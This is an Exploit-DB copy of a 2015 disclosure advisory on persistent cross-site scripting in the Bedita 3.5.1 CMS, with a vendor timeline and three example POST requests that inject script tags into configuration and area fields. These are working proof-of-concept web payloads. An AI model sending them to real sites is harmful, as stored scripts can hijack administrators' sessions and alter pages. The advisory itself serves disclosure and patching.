标题: Bedita 3.5.1 - Cross-Site Scripting EDB-ID: 38051 CVE: 2015-6809 类型: WEBAPPS 平台: PHP 发布日期: 2015-09-01 漏洞利用脚本: ########################################################################################

# Title: Bedita 3.5.1 XSS vulnerabilites 
# Application: Bedita
# Version: 3.5.1
# Software Link: http://www.bedita.com/
# Date: 2015-03-09
# Author: Sébastien Morin
# Contact: https://twitter.com/SebMorin1
# Category: Web Applications

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Introduction:
===================

BEdita is an open source web development framework that features a Content Management System (CMS) out-of-the-box.
BEdita is built upon the PHP development framework CakePHP.

(http://en.wikipedia.org/wiki/BEdita)

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Report Timeline:
===================

2015-03-09 Vulnerabilities reported to vendor
2015-03-10 Vendor reponse
2015-03-11 Vendor confirmed
2015-08-31 Vendor releases version 3.6
2015-08-31 Advisory Release


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Technical details:
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Persistent XSS:
===============

Bedita 3.5.1 contains multiples flaws that allows a persistent remote cross site scripting attack in the "cfg[projectName]", "data[stats_provider_url]" and "data[description]" parameters.
This could allow malicious users to create a specially crafted POST request that would execute arbitrary
code in a user's browser in order to gather data from them or to modify the content of the page presented to the user.


Exploits Examples:


1)cfg[projectName] parameter:

  POST http://127.0.0.1/bedita/index.php/admin/saveConfig 
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://127.0.0.1/bedita/index.php/admin/viewConfig
 Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
 Connection: keep-alive

 [...]cfg%5BprojectName%5D=<script>alert(12345)</script>[...]


2) data[stats_provider_url] parameter:

  POST http://127.0.0.1/bedita/index.php/areas/saveArea
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://127.0.0.1/bedita/index.php/areas/saveArea
 Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
 Connection: keep-alive

 [...]data%5Bstats_provider_url%5D="><script>alert(12345)</script>[...]


3) data[description] parameter:

 POST http://127.0.0.1/bedita/index.php/areas/saveSection
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://127.0.0.1/bedita/index.php/areas/saveSection
 Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
 Connection: keep-alive

 [...]data%5Bdescription%5D=&lt;/textarea&gt;<script>alert(123)</script>[...]

######################################################################################## URL: https://www.exploit-db.com/exploits/38051